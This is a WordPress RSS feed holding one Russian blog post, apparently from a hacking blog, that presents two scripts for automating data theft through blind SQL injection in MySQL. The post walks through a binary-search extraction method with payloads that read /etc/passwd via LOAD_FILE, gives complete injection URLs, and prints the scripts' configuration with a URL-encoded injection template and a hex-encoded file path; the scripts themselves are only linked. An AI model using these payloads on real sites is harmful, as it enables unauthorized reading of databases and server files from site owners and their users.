<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>по стопам webkill&#039;а &#187; blind sql-inj</title>
	<atom:link href="http://blog.lukmus.ru/tag/blind-sql-inj/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.lukmus.ru</link>
	<description>это наш химический дом для печальных жителей Земли</description>
	<lastBuildDate>Sat, 21 Oct 2023 19:10:13 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>автоматизация слива через blind sql-inj</title>
		<link>http://blog.lukmus.ru/2010/08/30/avtomatizatsiya-sliva-iz-blind-sql-inj/</link>
		<comments>http://blog.lukmus.ru/2010/08/30/avtomatizatsiya-sliva-iz-blind-sql-inj/#comments</comments>
		<pubDate>Mon, 30 Aug 2010 20:52:43 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[blind sql-inj]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[SQL-inj]]></category>
		<category><![CDATA[автоматизация]]></category>
		<category><![CDATA[слепая sql инъекция]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=450</guid>
		<description><![CDATA[Выкладываю пару скриптов автоматизации слива данных из слепой скули. Первый скрипт долгий т.к. однопоточный, зато точный т.е. стопудов однозначно вычислит символ до которого дошел. Второй многопоточный, иногда немного недовычисляет при частых обрывах сети, однако допустим для вычисления текста файла функцией MySQL LOAD_FILE в самый раз т.к. гораздо быстрее обработает длинный текст, а не досчитанные символы [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/08/sql_inject.png"><img class="alignleft size-full wp-image-451" style="margin-bottom: 2px; margin-right: 10px;" title="sql_inject" src="http://blog.lukmus.ru/wp-content/uploads/2010/08/sql_inject.png" alt="sql-inj" width="316" height="136" /></a>Выкладываю пару скриптов автоматизации слива данных из слепой скули.</p>
<p>Первый скрипт долгий т.к. однопоточный, зато точный т.е. стопудов однозначно вычислит символ до которого дошел. Второй многопоточный, иногда немного недовычисляет при частых обрывах сети, однако допустим для вычисления текста файла функцией MySQL LOAD_FILE в самый раз т.к. гораздо быстрее обработает длинный текст, а не досчитанные символы можно самому догадатся или же пробежатся по ним первым скриптом.<span id="more-450"></span></p>
<p>Аналогов, наверное, существует немерянно, но несмотря на это, я думаю, что мои скрипты обладают отличным преймуществом &#8211; они очень гибкие т.к. примитивны и в них очень легко разобратся.</p>
<p>Что такое SQL-inj, в том числе и слепая скуля, как с ними быть и многое другое, на мой взгляд лучше всего описано в этом <a rel="nofollow" href="https://rdot.org/forum/showthread.php?t=124">FAQ на rdot&#8217;е</a>.</p>
<div style="font-size: 1.7em;">однопоточный точный</div>
<p><a rel="nofollow" href="http://www.sendspace.com/file/8mdl94" target="_blank">скачать скрипт</a></p>
<div style="font-size: 1.5em;">принцип работы</div>
<p>Как вы понимаете, если у вас слепая инъекция, то никаких прямых выводов на страницу не может быть. Вы задаете какой-либо предикат, а проще говоря, условие, например</p>
<p><code>128&gt;ASCII(MID(LOAD_FILE('/etc/passwd'),1,1))</code></p>
<p>и в соответсвии с этим условием у вас отобразится, например, либо новость под номером 10, либо 9. Приведу пример полного запроса:</p>
<p><code>http://site.com/?id=IF(128&gt;ASCII(MID(LOAD_FILE('/etc/passwd'),1,1)),10,9) --</code></p>
<p>ну или так:</p>
<p><code>http://site.com/?id=10 AND 128&gt;ASCII(MID(LOAD_FILE('/etc/passwd'),1,1)) --<br />
</code></p>
<p>В первом примере, если 128 больше ASCII-кода первого символа файла /etc/passwd, то выведется страница с новостью 10, в противном случае, выведется 9. Второй случай практически идентичен первому, заисключением того, что если не больше ASCII-кода, то выведется неизвестно какая страница (для каждого сайта индивидуально, надо просто попробывать запрос http://site.com/?id= ), скорее всего это будет редирект на главную.</p>
<p>Вообще существует достаточно много всяких способов раксрутки слепых скулей, не только по странице, которую мы получаем на выводе. Короче читаем FAQ, ссылка на которую указана выше.</p>
<p>Так вот скрипт, берет допустим первый символ и формирует такой запрос:</p>
<p><code>128&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code></p>
<p>если условие верно т.е. открылась страница с новостью 10, значит 128&gt;=ASCII&gt;=0, тогда скрипт делает запрос</p>
<p><code>64&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: green;">верно</span></p>
<p><code>32&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: red;">неверно</span></p>
<p>тогда следующий запрос, будет отталкиватся от кода 48 (48=32+32/2)</p>
<p><code>48&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: green;">верно</span></p>
<p>тогда вычитаем 8 (на прошлом ходе прибавляли 16, на каждом шаге делем на 2)</p>
<p><code>40&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: red;">неверно</span></p>
<p><code>44&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: green;">верно</span></p>
<p><code>42&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: green;">верно</span></p>
<p><code>41&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: red;">неверно</span></p>
<p><code>42=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: green;">верно</span></p>
<p>таким образом мы за 9 шагов однозначно определили символ.</p>
<p>Далее скрипт берет следующий символ и начинает все заново.</p>
<p><code>128&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),1,1))</code></p>
<p>Я не читал, все статьи по blind SQL-inj, поэтому если кто-то придумал такой перебор раньше меня, а так наверняка оно и есть, не обижайтесь, что здесь нет ссылки на вышу статью и укажите ее в комментариях.</p>
<p>Все разгаданные символы скрипт записывает в файл и выводит на экран консоли.</p>
<div style="font-size: 1.5em;">конфигурация</div>
<p>Она располагается в начале скрипте и представляет из себя инициализацию глобальных переменных.</p>
<p><code style="font-size: 0.8em;">#config<br />
$request="/article.php?id=44+AND+##NUM####SIGN##ASCII%28MID%28##REPLACE##,##I##,1%29%29"<br />
$outfile="outfile"<br />
$priznak="eta_kartinka_est_tolko_v_statie_s_nomerom_44.jpg"<br />
$func="LOAD_FILE%28"+"0x2f6574632f706173737764"+"%29" #/etc/passwd<br />
$site="www.site.com"<br />
$start=1<br />
#config<br />
</code><br />
<strong>$request</strong> &#8211; сам запрос, с метками:</p>
<ul>
<li>##NUM## &#8211; число с которым сравнивается ASCII-код</li>
<li>##SIGN## &#8211; место, куда будет подставляться знак (&gt;,=)</li>
<li>##REPLACE## &#8211; сама функция, задающаяся в переменной $func</li>
<li>##I## &#8211; номер символа</li>
</ul>
<p>Задаем эту переменную в соответствии с нашим запросом, при этом правильно расставляем метки.</p>
<p><strong>$outfile </strong>- файл куда будет все выводится.<br />
<strong>$priznak</strong> &#8211; часть страницы, отличающая страницу с верным выводом от неверной. Т.е. при таком виде запроса</p>
<p><code>http://site.com/?id=10 AND 128&gt;ASCII(MID(LOAD_FILE('/etc/passwd'),1,1)) --</code></p>
<p>или</p>
<p><code>http://site.com/?id=IF(128&gt;ASCII(MID(LOAD_FILE('/etc/passwd'),1,1)),10,9) --</code></p>
<p>эта часть текста HTML должна присутствовать только в новости с индексом 10.</p>
<p><strong>$func</strong> &#8211; функция, которую мы вызываем. Это может быть LOAD_FILE(), VERSION(), USER() итд, комбинации из них, короче все на что хватит фантазии.</p>
<p><strong>$site</strong> &#8211; сайт, где располагается SQL-inj.</p>
<p><strong>$start</strong> &#8211; номер символа, с которого начинать.</p>
<div style="font-size: 1.7em;">многопоточный приблизительно точный</div>
<p><a rel="nofollow" href="http://www.sendspace.com/file/8ouu84" target="_blank">скачать скрипт</a></p>
<p>Принцип работы нечем не отличается, заисключением того, что скрипт вычисляет не последовательно символ за символом, а сразу паралельно несколько символов, количество которых равно количеству потоков заданных в конфигурации.</p>
<p>Конфигурация, такая же, добавился лишь один параметр <strong>$th_count</strong>. Он определяет количество потоков.<strong></strong></p>
<p>Чем же плох многопоточный вариант? При стабильном соединении с интернетом не чем т.е. он вычислит все символы как надо и быстро. Если же соединение часто обрывается, как например на 3G-модемах, то некоторые потоки будут умерать оставляя свой символ недовычисленным. Для примера, при нестабильном соединении (скорость скачет от 1КБ/с до 300КБ/с, соединение обрывается каждые 3-5 минут) из 10 символов 1 будет недовычислен.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/08/30/avtomatizatsiya-sliva-iz-blind-sql-inj/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>
